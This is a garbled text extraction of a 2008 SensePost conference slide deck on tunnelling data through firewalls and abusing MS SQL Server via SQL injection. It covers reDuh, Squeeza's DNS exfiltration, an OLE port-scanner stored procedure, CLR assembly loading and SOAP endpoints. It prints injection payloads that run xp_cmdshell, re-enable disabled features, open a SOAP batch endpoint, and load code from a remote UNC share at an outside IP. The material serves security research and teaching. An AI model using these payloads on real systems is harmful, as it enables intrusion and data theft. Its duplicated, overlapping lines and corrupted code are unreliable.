SlideShare una empresa de Scribd logo
1 de 67
Descargar para leer sin conexión
Pushing a Camel through the eye 
         of the Needle!
   [Funneling Data in and out of Protected Networks]
                SensePost 2008
About:us
• SensePost
   – Specialist Security firm based in South Africa;
   – Customers all over the globe;
     Customers all over the globe;
   – Talks / Papers / Books 
• {
  {marco,haroon}@sensepost.com
         h     }@        t
   – Spend most of our time breaking stuff ((thinking 
     about breaking stuff) or playing foosball!)
      b t b ki       t ff)     l i f b ll!)
• What this talk is about ? (Hint: not foosball!)
What this talk is about?
What this talk is about?
A progression of Attacks
• A brief trip to the past (1601‐1990)
• Un‐firewalled access to victim host




• And also un firewalled to rest of the network! 
  And also un‐firewalled to rest of the network!
History (Continued.)
           History (Continued.)
• The Introduction of firewalls
  The Introduction of firewalls..
• The failure to filter outbound traffic (circa 
  2000)
• CommandExec.[asp|jsp|php|*]




      {The need for a comfortable Channel}
History (Continued.)
            History (Continued.)
•   Creating binaries on remote victim.
    Creating binaries on remote victim
•   debug.exe and friends
•   upload.asp ( d f i d )
      l d       (and friends) 
•   Win32 Port Binding (1998)
Remote Exec (with feeling!)
     Remote Exec (with feeling!)
• We really needed to use the words AJAX and
  We really needed to use the words AJAX and 
  XMLHttpRequest object to qualify as a web 
  2.0 talk.
  2 0 talk
• We will still add XML, SOAP and a tool with no 
  vowels in its name 
  vowels in its name (watch for this!)
Time to pivot
                    Time to pivot™
•   This stuff is ancient history.
•   Sp_quickkill
•   Extreme nc usage
•   SensePost tcpr / F
    S     P tt       / Foundstonefport (Ci 2000)
                            dt     f t (Circa 2000)

              Proxied connection           Pivot connects to 
             Connects to  on port between client and target
                      connection between client and target
                      Listens on port 
                      Listens
             pivot:55555 55555                   target

    Client                       Pivot                          Target


                              Start tcpr
• XP and IPV6!
• S h tunnel
  Ssh      l
SSH Tunnels (a)
                            SSH Tunnels (a)
• SSH Tunnels are old hat (too)
                          ( )
• Many people use the familiar –L switch to connect to 
  other hosts near the box running sshd:
 Listens on 
 port 55555




                  Proxied connectionon
                          connection from Client to Target port
                                Listens from Client to Target port
                                Listens on                           Listens on 
               ssh –L 55555:pivot:25
                                   port 22                              port 25


  Client                                  Pivot                                    Target


• Gives us an encrypted tunnel to our target network.. 
                     Pivot runs sshd
  but this isnt:
                                           • A) the problem we set out to solve
                                           • B) particularly helpful right now
SSH Tunnels (b)
                       SSH Tunnels (b)
• Instead lets look at –R
• So all we need is an ssh client on the remote 
  machine, an SSHD on one of ours and we are 
           ,
  in the game!
                                                                                  Listens on 
                                                                                  port 55555
                                                                                  port 55555
                                                        ssh –R 
                                                 55555:localmachine
                  Proxy connection from target:55555 to local machine:445
                                                                Listens on 
           Listens on                                    :445      port 22
           port 445
           port 445

  Local                              Client is                           Target
 machine                         Target runs sshd
                                    the Pivot


• putty + plink FTW!
Interlude (dns2tcp)
          Interlude (dns2tcp)
• Available from:
  Available from: 
  http://www.hsc.fr/ressources/outils/dns2tcp/
• Perfect for homes away form home
  Perfect for homes away form home
• Perfect for stealing wifi access
A good marriage (sshtun + dnstun)
A good marriage (sshtun + dnstun)
Layer 2 bridges
              Layer 2 bridges
• If you aren’t going to the network bring the
  If you aren t going to the network, bring the 
  network to you
• If you’re bridging the network make it
  If you re bridging the network, make it 
  protocol independent
• R
  Requires inbound or outbound connection 
        i i b      d        b   d          i
  ability
Layer 2 bridges
               Layer 2 bridges
• Pros
  – Clean interface to network
  – Not port or connection dependent, protocol 
    independent
  – Simple to setup and use
• Cons
  – Death by firewall
  – Requires external deps (pcap,libnet)
• E
  Examples
       l
  – Tratt by Olleb (www.toolcrypt.org)
  – MyNetwork by Greg Hoglund (www rootkit com)
                 by Greg Hoglund (www.rootkit.com)
A Brief Recap
               A Brief Recap
• We used to be able to hit everything we
  We used to be able to hit everything we 
  wanted to.
• We were happily redirecting traffic when
  We were happily redirecting traffic when 
  firewalls were more forgiving
• O b
  Outbound Access Made us amazingly happy.
            dA      M d           i l h
• Network level bridging was cool but the rules 
  are changing..
                     p     y
• Can we do this completely over HTTP / /
  HTTPS?
Introducing glenn.jsp
         Introducing glenn.jsp
• (Working title)
   (Working title)
a) We can hit our target on port 80 (or 443)
b) Ability to upload / create a web page on the 
      bili        l d/               b       h
    target [example: JMX Console]
c) Network level filtering is tight.
d) Possible reverse proxies in‐between
 )                   p
• [a],[b],[c],[d] meet [one smart intern]
ReDuh.jsp
•   Written by Glenn Wilkinson (glenn@sensepost.com)
•   Upload / Create .JSP page on server
•   Fire‐up local proxy (localhost:1234)
•   Tell web‐page to create web‐bridge to internal_host:3389
    – JSP creates socket to internal_host:3389
    – JSP creates queues to handle internal comms.
• Attacker aims RDC client at local proxy on 127.0.0.1:1234
    – Local endpoint accepts traffic, converts packets to base‐64 encoded 
      POST messages.
    – Packets are POSTed to .JSP page
• JSP Page decodes packets queues for delivery via created socket
  JSP Page decodes packets, queues for delivery via created socket.
    – Return traffic is queued, encoded as base64 and queued again.
• Proxy polls server for return packet data, recreates them as packets 
  and re feeds the local socket.
  and re‐feeds the local socket.
What this means..
            What this means..
• We have a simple TCP over HTTP/HTTPS 
                  p                 /
  implementation
• It requires the creation of a simple, single  .JSP 
  file on the target..
  file on the target
• Surely this isn’t .JSP specific ?
• ian@sensepost com ported this while cursing a
  ian@sensepost.com ported this while cursing a 
  lot to ASP.net
• gert@sensepost.com gave us the php version.
  g            p           g          p p
• Basically covers most of the common cases.. If we 
  can create a web page, we can create a circuit..
Squeeza
• Released at BH USA 2007
   e eased at     US 00
• Advanced SQL injection tool (another one on the 
  p
  pile…), aimed at MS SQL
• Treated injection slightly differently
   p            g
• Split content generation from return channel
  – Content generation
  – Supported multiple return channels
• Could mostly mix ‘n match  content generation 
  modes with return channels
Squeeza
• Content created (not the interesting part)
   – Command execution: xp_cmdshell (old faithful)
   – Data extraction: select name from sysobjects where 
     xtype=‘U’
       yp
   – File download: bulk insert … from ‘c:blah.txt’
• Return channels (more interesting part)
   – DNS
   – Timing
   – HTTP Error‐based (ala Automagic SQL Injector)
• Return channels NOT supported
   – Inline HTML extraction
   – Standard blind injection techniques
     Standard blind injection techniques
Squeeza process overview
          process overview
  Generate content using command execution, file copy or data 
                   extraction injection string



       Store data in a temporary table inside SQL database
                                   bl                 b


   Extract data using return channel of choice: DNS, timing, SQL 
   Extract data using return channel of choice: DNS timing SQL
                          error messages


Not fast enough for real‐time applications, but good 
Not fast enough for real‐time applications but good
enough for batch applications such as command 
execution, file copy etc. Don’t expect to relay VNC 
traffic.
   ff
Squeeza: DNS
                       Squeeza: DNS
• Weaponised SQL server content extraction through DNS queries
• Data broken up into chunks, encoded and emitted through DNS
• Which meant:
   – Entire DNS channel handled in SQL
         i     NS h       l h dl d i SQL
   – Elevated privs not required (but used if available)
   – Provided reliability guarantees, since client had complete
     Provided reliability guarantees, since client had complete 
     control over what was requested and received
• Compare to SQLNinja (awesome tool, DNS not so much)
   – requires binary upload+cmd execution
           i bi          l d       d        ti
   – reliability guarantee is ‘try again’, as client can’t control remote 
     binary
   – however, does provide own ‘fake’ dns server
Windows IP Configuration

Windows IP Configuration                                                                      Temp table
                                                                                                    able


                                   exec xp_cmdshell ‘ipconfig /all’
                                       Second injection string


       Attacker                                                                      Victim 
                                                                                     Victim
                       57696e646f777320495020436f6e66696775726174696f6e.sensepos
                       Windows IP Configuration                                     WWW/SQL 
                       t.com
                       Ethernet adapter Local Area Connection:                       Server
                           Connection-specific DNS Suffix   . :
                     57696e646f777320495020436f6e66696775726174696f6e.sensepost.co
                     57696e646f777320495020436f6e66696775726174696f6e sensepost co
                         IP Address. . . . . . . . . . . . : 192.168.0.47
                     m   Subnet Mask . . . . . . . . . . . : 255.255.255.0
                           Default Gateway . . . . . . . . . : 192.168.0.2
  Attacker DNS 
     Server



     Grab limited chunk of data from temporary table, convert to hex, tack on domain
     Grab limited chunk of data from temporary tableDB originalhex server asdomain
        Basic setup: attacker has SQL injection vulnerability into  SQL server, as  sa
        Basic setup: attacker has SQL injectionwith in into into SQL tack on ‘sa’
                   Request is received and converted into original form
                   Request is Command isisis producedconvert to form
                          Initiate DNS request with encoded data
                          Initiate DNS request vulnerability data
                               Command is run on SQL server
                               received and run on SQL server
                                    Output is stored in DB
                                    Output converted
                                     Output is produced
                                     Output stored encoded
Squeeza: timing
              Squeeza: timing
• Weaponised SQL server content extraction
               SQL server content extraction 
  through timing attacks
• Data broken up into chunks bits extracted one
  Data broken up into chunks, bits extracted one 
  at a time through timing differences
• Whi h
  Which meant:
  – Didn’t need an explicit return channel
  – Not absolutely reliable, but good enough
  – Many cups of coffee
Profiling SQL servers
            Profiling SQL servers
• We want to know which SQL server version we’re 
  dealing with
• Features added and removed between releases
   – 2000 added ????
     2000 added ????
   – 2005 removed xp_execresultset
   – 2005 added stored procedure creation functionality
• Common problem with a number of solutions
            bl      h      b    f l
   – select @@version, choose return channel
• What about other methods?
  What about other methods?
   – Look for new/removed tables/stored procs/users
   – Look for new SQL syntax
Squeeza future
•   Seems too nice to forget
    Seems too nice to forget
•   Not enough uptake
•   Maybe piggyback onto Metasploit??
        b i b k                l i ??
•   What would this require?
This OLE thing
                      This OLE’ thing
• In 2002, Chris Anley’s paper discussed OLE object instantiation and 
  execution from T‐SQL
        ti f      T SQL
    – Demo’ed file reading/writing, shell execution
    – Maybe this got lost in the rest of the goodness
• How many SQL injection tools ignore OLE attacks?
  How many SQL injection tools ignore OLE attacks?
    – ???????????
• Is it because of privs?
    – Hmmmmm sp oacreate sp oamethod require execute on those
      Hmmmmm, sp_oacreate, sp_oamethod require execute on those 
      methods
• Complexity?
    – Regular injections used by other tools create/execute stored procs all 
       egu a ject o s used by ot e too s c eate/e ecute sto ed p ocs a
      the time
• Payload size?
    – Again, current tools are no super packers
Growing OLE together
         Growing OLE’ together
• In 6 years not much has changed
  In 6 years, not much has changed
• We can still use OLE objects (another route for 
  ActiveX object exploitation?)
  ActiveX object exploitation?)
• Why this route?
  – Safe for scripting
  – Killbits
• We think OLE integration deserves much more 
  focus in injection payloads
Something OLE , something new
Something OLE’, something new
  Example of a usable new OLE payload
  Example of a usable new OLE payload




  SQL‐based port scanner
SQL port scanner
            SQL port scanner
• Basis is “MSXML2 ServerXMLHTTP” object
  Basis is  MSXML2.ServerXMLHTTP object
• Used to retrieve XML data from a webserver
• Installed with IE, IIS,????
       ll d i h        S ????
  – Two versions on win2k3
• We can specify then IP:port of the target 
  webserver
• Return values differ depending on whether a 
                       g
  webserver is listening or not
SQL port scanner
             SQL port scanner
• We can tell if ports are open or closed/filtered
  We can tell if ports are open or closed/filtered
• Even better, basic protocol fingerprinting since 
  we re also told if a legitimate webserver
  we’re also told if a legitimate webserver
  answered
• But how to differentiate between closed and
  But how to differentiate between closed and 
  filtered?
• Same way everyone else does (mostly)
  Same way everyone else does (mostly)
  – Timing and timeouts
  – setTimeouts
probeip(ip, port)
                  probeip(ip, port)
CREATE PROCEDURE probeip @host VARCHAR(50), @port VARCHAR(5)AS
BEGIN
                          Create URI from ip and port
                          Create URI from ip and port
DECLARE @oINT,@ropINT,@rseINT,@statusINT,@s varchar(60)
                             Instantiate OLE control
set @s='http://'+@host+':'+@port+'/’
                           Configure control timeouts
EXEC sp_OACreate 'MSXML2.ServerXMLHTTP', @oOUT
EXEC @rop = sp OAMethod @o 'setTimeouts' NULL, 3000, 3000,
                            @o, 'setTimeouts', NULL 3000 3000
   3000, 3000       Initialise control (capture return code)
                      Send request (capture return code)
EXEC @rop = sp_OAMethod @o, 'open', NULL, 'GET',@s
EXEC @rse = sp_OAMethod @o, Grab HTTP status
                                 'send’
EXEC sp_OAGetProperty@o, 'status', @status OUT
EXEC sp_OADestroy Test return codes and determine port status
                  @o
SELECT @s+CASE@rop WHEN -2147012891 THEN 'Blocked' WHEN 0 THEN
   CASE @rse WHEN -2147012744 THEN 'Open' WHEN 0 THEN 'Open/WWW'
                                            Open              Open/WWW
   WHEN -2147012867 THEN 'Closed' WHEN -2147012894 THEN 'Filtered'
   WHEN -2147012851 THEN 'Open/WWWR' ELSE 'Invalid' END END
END
                        Basic probe stored procedure
Putting it together
             Putting it together
• Using the probeIP() building block we can
  Using the probeIP() building block, we can 
  build further tools



• Port sweepers
  – scanports(ip, portlist)
• Portscanners
  – scanhosts(iplist, port)
• Webserver detectors
So what does that give us?
       So what does that give us?
•   A SQL based port scanner
    A SQL‐based port scanner
•   Implemented in a stored proc
•   Can scan almost all ports
    C         l      ll
•   Supports HTTP detection
•   But why?
    – No messy nmap uploads
       o essy     ap up oads
    – No A/V footprints
What s going to trip us up?
        What’s going to trip us up?
• Inter‐protocol protections
   – Cross‐protocol attacks have been around for a while
   – Been getting a bit of attention again
   SandroGauci provided a short paper recently enumerating browser 
     support
   – Browsers provide protection by banning connections to specific ports
   – FF bans 58, Opera bans 58, Safari bans 43
   – IE 7 bans 6 ports, IE 6 banned 5 ports, IE 5 didn’t ban at all
     IE 7 bans 6 ports, IE 6 banned 5 ports, IE 5 didn t ban at all
   – More of a stumble than a trip, all the interesting ports are still allowed
• Proxies
   – setProxy can disabled proxy requests
            y              p y q
• Speed
   – Stats?????
Squeezing OLE juice
           Squeezing OLE juice
• Turns out sometimes we make the right
  Turns out, sometimes we make the right 
  decision
• Integrating with Squeeza is simple
  Integrating with Squeeza is simple
  – Portscanner generates content
  –CCan pull results through dns, timing or http errors
           ll    l h       hd      i i      h
OLE dog, new tricks
            OLE dog, new tricks
• OLE objects deserve lots more looking at
          j                                g
• Why bother with debug scripts, when a 
  combination of T‐SQL and 
  ‘scripting.filesystemobject’ can write anything to 
  ‘scripting filesystemobject’ can write anything to
  disk?
• Why bother with xp cmdshell, when
  Why bother with xp_cmdshell, when 
  ‘scripting.shell’ works just as well regardless of 
  whether the stored proc is available
• I
  Importantly, this functionality is available across 
              l hi f      i    li i      il bl
  multiple SQL server versions, making attacks 
                 p
  version independent
SQL2005  Pen Tester Nightmare?
 SQL2005 – Pen Tester Nightmare?
• By all accounts SQL 2005 is Microsoft’s SDLC flagship 
  product
• SQL Server poses some unique challenges:
   – Highly Public;
   – Hi hl E l it d
     Highly Exploited;
   – Not really directly through Microsoft’s fault!
• They had to take steps to reduce attack surface, to stop
  They had to take steps to reduce attack surface, to stop 
  people hurting themselves (think mandatory seat‐belts 
  in cars)
• Much touted SD3 – Secure by Design, Secure by 
  Default, Secure by Deployment
• Famous hax0r celebrities have stated how they hate
  Famous hax0r celebrities have stated how they hate 
  coming up against SQL05 on deployed applications..
I call Shenanigans!
I ll Sh      i    !
Fundamental problems with ‘05

                • Microsoft needed desperately to
                  Microsoft needed desperately to 
                  reduce the attack surface on 
                  SQL05.
                  SQL05
         5:1 • 1000 stored procedures available 
                  in a default (SQL7) install?
                  in a default (SQL7) install?
• Much publicized lock‐down of superfluous 
  functionality and features.
  f ti     lit    df t
• This however has 2 major problems
The 2 Big Problems
           The 2 Big Problems
• Mixed Messages: Incoherent at best and 
  Dishonest at worst.
  Dishonest at worst




• Any software engineer will tell you that 
  Features will win because of “dancing pigs” 
  and “management by in‐flight magazine”.
    d“               b i fli h          i ”
The 2 Big Problems
            The 2 Big Problems
1. Mixed Messages: Incoherency, In Flight 
   Magazines and Dancing Pigs.
   Magazines and Dancing Pigs
2. In‐Band Signaling:
  – This mistake is so old, it almost hurts to write it.
  – Cap’n Crunch vs. Telephone Systems
  – Buffer Overflows and Von Neumann 
    Architectures
• SQL Server 2005 makes heavy use of in‐band 
  signaling.
• Secure by design?
InBand Signaling++ (sp configure)
        Signaling++ (sp_configure)
• Early Microsoft documentation on SQL Best 
  Practice mentioned disabling xp_cmdshell.
  Practice mentioned disabling xp cmdshell.
   – Every one of the (many) SQL Injection tools out there 
     uses sp_configure to re‐enable xp_cmdshell.
   – Thi i
     This is an old lesson for SQL Server to learn!
                 ld l      f SQL S        t l     !
• In fact _all_ of the features widely screamed to 
  be oc ed do , ca be e e ab ed t
  be locked down, can be re‐enabled within the 
                                              t e
  same channel. (the same channel that SQL 
  Injection rides in on!)
• Thi h d h
  This shared channel for 
                         lf
  configuration/administration obviously buys us 
  some convenience, but a secure design?
                       ,                 g
sp_configure; RECONFIGURE
    sp configure; RECONFIGURE
• Ad Hoc Distributed Queries
  Ad Hoc Distributed Queries
  – (used by many tools to brute‐force sa password)
  – (used by many tools for effective data extrusion –
    (      y    y
    SQL DataThief)
• xp_cmdshell
  – Almost as famous as ‘ or 1=1‐‐
• CLR Integration
          g
  – The gateway to much fun..
• In‐band signals FTW!
            g
SQL2005  Some new features
   SQL2005 – Some new features
• Other than old favorites we are going to look
  Other than old favorites, we are going to look 
  at 2 new ones:
  – Native XML Web Services;
    Native XML Web Services;
  – CLR Integration.
Native XML Integration
            Native XML Integration
• The marketing pitch:
  The marketing pitch:
“Microsoft SQL Server 2005 provides a standard mechanism for accessing 
  the database engine using SOAP via HTTP. Using this mechanism, you 
  can send SOAP/HTTP requests to SQL Server”…” Since the SOAP/HTTP 
          d SOAP/HTTP         t t SQL S      ” ” Si     th SOAP/HTTP
  access mechanism is based on well‐known technologies such as XML 
  and HTTP, it inherently promotes interoperability and access to SQL 
  Server in a heterogeneous environment. Any device that can parse XML 
  Server in a heterogeneous environment Any device that can parse XML
  and submit HTTP requests can now access SQL Server.”

• Native Soap Integration and the wiley hacker
            p     g                   y
    – Web Server DoS?
    – Comfortable X‐Platform Query Manager?
      Comfortable X Platform Query Manager?
Web Server DoS
             Web‐Server DoS
• Denial of Service is boring!
• But boring will hurt you just as badly as 
      b         ll h               b dl
  anything else..
Web Server DoS
                Web‐Server DoS
• SQLServer now interacts directly with http.sys in the 
  Win2k3 kernel to manage created endpoints.
• When included within a standard ‘CREATE ENDPOINT’ call, 
  MSDN is quite specific: “while the SQL Server‐based 
  application is running, any HTTP requests to this endpoint 
  are forwarded to the instance of SQL Server. ”
      f      d d t th i t         f SQL S      ”
       1.                    2.                     3.
But surely this needs privs?
       But surely this needs privs?
• This _had_ to come up with threat modeling.
   – Secure marketing docs mention: “Both the Windows 
     account and the SQL Server account that SQL Server 2005 
     impersonates must have local Windows administrator 
     privileges for the HTTP endpoint registration to succeed.”
                f                                             ”
• Bah! Sounds like we are out of luck..
   – MSDN (again): “If you execute the statement in the context
     MSDN (again):  If you execute the statement in the context 
     of a SQL Server account, for example, sa or some other SQL 
     Server login, SQL Server 2005 impersonates the caller by 
     using the SQL Service account, specified when SQL Server is 
     installed, to register the endpoint with HTTP.SYS.”
     i    ll d        i      h    d i     ih           ”
• Ah.. So all we need is to be SA / in sysadmin (will that 
  ever happen??
          pp
SA  DoS on every IIS Instance ?
 SA == DoS on every IIS Instance ?
• IIS Server running multiple sites (using name 
  based or IP based virtual hosting)
  b d IP b d i             lh i )
• SQL Service account given FileSystem
  restrictions to ensure that SQL DBA cant 
  deface / affect other customer sites.




• Sounds like “NT Port bind, 10 years later..”
Creating endpoints for fun and profit
            1.
            1                            2.
                                         2                             3.
                                                                       3



                     'exec('CREATE FUNCTION tS
                     '    ('CREATE FUNCTION getServerVersion() RETURNS 
                                                     V i () RETURNS
                     NVARCHAR(MAX) AS BEGIN;RETURN (@@VERSION);END')‐‐




' exec('CREATE ENDPOINT eepp STATE = STARTED AS HTTP (AUTHENTICATION = ( INTEGRATED 
),
),PATH = ''/sql/demoo'',PORTS = ( CLEAR ))FOR SOAP (WEBMETHOD ''getServerVersion''(NAME
           / q/        ,        (       ))         (            g                 (
= ''demo_db.dbo.getServerVersion''),BATCHES = ENABLED,WSDL = DEFAULT)')‐‐
• The vector here is obvious: We wanted to build a 
  function or proc. That would accept arbitrary 
  input from SOAP, then eval() it…
  i   tf     SOAP th         l() it
• But Microsoft beat us to it…
X Platform Query Managers
           X‐Platform Query Managers
   • Did you notice the methods VisualStudio extracted from the WSDL 
     ?




getServerVersion()
                ()
Sqlbatch(BatchCommands As string, Parameters As ArrayofParameters)



   •    MSDN: “When BATCHES are ENABLED on an endpoint by using the 
       T‐SQL command, another SOAP method, called "sqlbatch," is 
       implicitly exposed on the endpoint. The sqlbatch method allows you 
       implicitly exposed on the endpoint. The sqlbatch method allows you
       to execute T‐SQL statements via SOAP”
' exec('CREATE ENDPOINT ep2 STATE=STARTED AS HTTP 
     (AUTHENTICATION=(INTEGRATED),PATH = ''/sp'',PORTS=(CLEAR))FOR 
     SOAP(BATCHES=ENABLED)')‐‐
     SOAP(BATCHES ENABLED)')




1.                          2.                           3.
New: CLR Integration
              New: CLR Integration
• The thing that made squeeza difficult to write in ‘07 was mainly T‐
  SQL.
• T SQL is Turing Complete but when trying to extract data from a
  T‐SQL is Turing Complete but when trying to extract data from a 
  network via encoded DNS packets or timing it starts to creak a 
  little.. (we did it, but lost a lot of hair in the process)
• Microsoft to the rescue (msdn): “Microsoft SQL Server 2005
  Microsoft to the rescue (msdn):  Microsoft SQL Server 2005 
  significantly enhances the database programming model by hosting 
  the Microsoft .NET Framework 2.0 Common Language Runtime 
  (CLR). This enables developers to write procedures, triggers, and 
  functions in any of the CLR languages, particularly Microsoft Visual 
  functions in any of the CLR languages particularly Microsoft Visual
  C# .NET, Microsoft Visual Basic .NET, and Microsoft Visual C++. This 
  also allows developers to extend the database with new types and 
  aggregates.”
• Huh ?
• Turned off by default… 
    – Remember slide on in‐band signals &&sp_configure ?
    – exec sp_configure(clr enabled),1
New: CLR Integration
          New: CLR Integration
• Does allow for very fine grained access
  Does allow for very fine grained access 
  control.
• Fortunately these can all be over‐ridden if you
  Fortunately these can all be over ridden if you 
  have SA access.
• Simply it allows us to load an arbitrary .net
  Simply it allows us to load an arbitrary .net 
  Assembly into SQL Server, and depending on 
  how we handle it, possibly execute this binary 
  within SQL Servers address space.
• How do you load a .net assembly?
Loading .net Assemblies (csc)
      Loading .net Assemblies (csc)
•   Create .cs file on filesystem (1)
•   Call on csc.exe to compile the binary (2)
•   Import the binary into SQL (3)
    Import the binary into SQL (3)
•   Profit! (4)

                                          (1)

                                                      ( )
                                                      (2)
                                                (3)
        (4)
Loading .net Assemblies (csc)
    Loading .net Assemblies (csc)
• There has been talk of ntsd and debug exe
  There has been talk of ntsd and debug.exe
  being removed in default installs.
• Fortunately we now have csc exe shipping
  Fortunately, we now have csc.exe shipping 
  with every deployed SQL Server!
• csc.exe i
          is perfectly predictable:
                f l       di bl
   – %windir%system32dllcachecsc.exe
• This is still pretty ghetto!
Loading .net Assemblies (UNC)
   Loading .net Assemblies (UNC)
• Fortunately, like DLL’s this can be loaded from a 
            y,
  UNC share too.

• Profit!
• (Of course all of this is do‐able via an injection 
  point)
      • http://victim2k3.sp.com/login.asp? 
        username=boo&password=boo'%20CREATE%20ASSEMBLY%
        20moo%20FROM%20 196.31.150.117temp_smbmoo.dl
        20moo%20FROM%20'196.31.150.117temp smbmoo.dl
        l'—
• But this still requires outbound UNC (which is 
  still useful for squeeza and DNS resolution), but 
  still useful for squeeza and DNS resolution) but
  remains ghetto!
Loading .net Assemblies (0x1618..)
Loading .net Assemblies (0x1618..)
• T‐SQL Syntax allows the assembly to be
  T SQL Syntax allows the assembly to be 
  created at runtime from the files raw hex.
1. File.open( moo.dll rb ).read().unpack( H*
1 File open("moo dll”,"rb") read() unpack("H*"
   )
⇒ ["4d5 90000300000004000000ffff0
   ["4d5a90000300000004000000ffff0......]  ]
2. CREATE ASSEMBLY moo FROM 
   0x4d5a90000300....
3. exec HelloWorldSP (Profit!)
                       (      )
• This makes creation via injection even easier!
Assemblies and Security Privs.
    Assemblies and Security Privs.
• Your created binary is by default placed inside a 
  sand box
  sand‐box
• Assemblies are loaded as:
   – SAFE [Calculations, No external Resources]
   – EXTERNAL_ACCESS [Access to Disk, Environement, 
     Almost everything with some restrictions]
   – UNSAFE [God Help You! | Equivalent of Full Trust |
     UNSAFE [God Help You! | Equivalent of Full Trust | 
     Call unmanaged Code / Do Anything as SYSTEM]
• UnSafe Assemblies must be signed with a new 
  CLR Si i
  CLR Signing procedure or
                   d
• SA can set the Database to “Trustworthy”
What can we do with this?
      What can we do with this?
• The fun is just beginning:
  The fun is just beginning:
  – Effectively loading binaries into memory without 
    noticeably affecting disk in an unusual manner!
    noticeably affecting disk in an unusual manner!
  – .net assembly to launch calc.exe (as System)
  – .net assembly to launch remote shell (System)
     net assembly to launch remote shell (System)
  – Squeeza without the horrible T‐SQL ?
  – reDuh clr sql☺
    reDuh.clr. sql☺
[1] SQL Injection used to create CLR reDuh.exe on SQL Server
 [1] SQL Injection used to create CLR reDuh.exe on SQL Server




[2] Local Proxy breaks down TCP packets, submits to reDuh through SQL
    Injection strings..
    Injection strings


              [4] Return packets are encoded by reDuh within SQL server, and fetched by the 
                  attackers proxy using Injection vector, completing the circuit.
                  attackers proxy using Injection vector completing the circuit
Questions ?
Questions ?
References
“Advanced SQL Injection In SQL Server Applications”, Chris Anley, 2002
“Building the bridge between the web app and the OS: GUI access
 Building the bridge between the web app and the OS:  GUI access 
   through SQL Injection”, Alberto Revelli, 2008
“IServerXMLHTTPRequest/ServerXMLHTTP” 
   http://msdn.microsoft.com/en‐
   htt // d       i     ft    /
   us/library/ms762278%28VS.85%29.aspx
“The Extended HTML Form attack revisited”, SandroGauci, 2008
“Programming Microsoft® SQL Server™ 2005”, Andrew J. Brust, 2006
“Writing Stored Procedures for Microsoft SQL Server”, Mathew Shepker, 
   2000
“Overview of Native XML Web Services for Microsoft SQL Server 2005”, 
   http://msdn.microsoft.com/en‐us/library/ms345123.aspx, 2005
http://msdn.microsoft.com/
http://msdn microsoft com/
“Compiling and Deploying a CLR Assembly “, 
   http://msdn.microsoft.com/en‐us/library/ms254956(VS.80).aspx

Más contenido relacionado

La actualidad más candente

Scapy TLS: A scriptable TLS 1.3 stack
Scapy TLS: A scriptable TLS 1.3 stackScapy TLS: A scriptable TLS 1.3 stack
Scapy TLS: A scriptable TLS 1.3 stackAlexandre Moneger
 
Pentesting custom TLS stacks
Pentesting custom TLS stacksPentesting custom TLS stacks
Pentesting custom TLS stacksAlexandre Moneger
 
Tcp Anonymous Authenticated ID
Tcp Anonymous Authenticated IDTcp Anonymous Authenticated ID
Tcp Anonymous Authenticated IDJim MacLeod
 
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017VOIP2DAY
 
CNIT 141: 4. Block Ciphers
CNIT 141: 4. Block CiphersCNIT 141: 4. Block Ciphers
CNIT 141: 4. Block CiphersSam Bowne
 
Uncloaking IP Addresses on IRC
Uncloaking IP Addresses on IRCUncloaking IP Addresses on IRC
Uncloaking IP Addresses on IRCDerek Callaway
 
Get rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionPawel Krawczyk
 
APRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering AutomationAPRICOT 2015 - NetConf for Peering Automation
APRICOT 2015 - NetConf for Peering AutomationTom Paseka
 
CNIT 141: 5. Stream Ciphers
CNIT 141: 5. Stream CiphersCNIT 141: 5. Stream Ciphers
CNIT 141: 5. Stream CiphersSam Bowne
 
Bitcoin Keys, Addresses & Wallets
Bitcoin Keys, Addresses & WalletsBitcoin Keys, Addresses & Wallets
Bitcoin Keys, Addresses & WalletsChristopher Allen
 
NBTC#2 - Why instrumentation is cooler then ice
NBTC#2 - Why instrumentation is cooler then iceNBTC#2 - Why instrumentation is cooler then ice
NBTC#2 - Why instrumentation is cooler then iceAlexandre Moneger
 
Cilium - Fast IPv6 Container Networking with BPF and XDP
Cilium - Fast IPv6 Container Networking with BPF and XDPCilium - Fast IPv6 Container Networking with BPF and XDP
Cilium - Fast IPv6 Container Networking with BPF and XDPThomas Graf
 
Practical rsa padding oracle attacks
Practical rsa padding oracle attacksPractical rsa padding oracle attacks
Practical rsa padding oracle attacksAlexandre Moneger
 
When DevOps and Networking Intersect by Brent Salisbury of socketplane.io
When DevOps and Networking Intersect by Brent Salisbury of socketplane.ioWhen DevOps and Networking Intersect by Brent Salisbury of socketplane.io
When DevOps and Networking Intersect by Brent Salisbury of socketplane.ioDevOps4Networks
 
CNIT 141: 1. Encryption
CNIT 141: 1. EncryptionCNIT 141: 1. Encryption
CNIT 141: 1. EncryptionSam Bowne
 
CNIT 141 8. Authenticated Encryption
CNIT 141 8. Authenticated EncryptionCNIT 141 8. Authenticated Encryption
CNIT 141 8. Authenticated EncryptionSam Bowne
 

La actualidad más candente (20)

Scapy TLS: A scriptable TLS 1.3 stack
Scapy TLS: A scriptable TLS 1.3 stackScapy TLS: A scriptable TLS 1.3 stack
Scapy TLS: A scriptable TLS 1.3 stack
 
Pentesting custom TLS stacks
Pentesting custom TLS stacksPentesting custom TLS stacks
Pentesting custom TLS stacks
 
Tcp Anonymous Authenticated ID
Tcp Anonymous Authenticated IDTcp Anonymous Authenticated ID
Tcp Anonymous Authenticated ID
 
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017
Homer metrics | LORENZO MANGANI Y FEDERICO CABIDDU - VoIP2DAY 2017
 
CNIT 141: 4. Block Ciphers
CNIT 141: 4. Block CiphersCNIT 141: 4. Block Ciphers
CNIT 141: 4. Block Ciphers
 
Packet crafting of2013
Packet crafting of2013Packet crafting of2013
Packet crafting of2013
 
Uncloaking IP Addresses on IRC
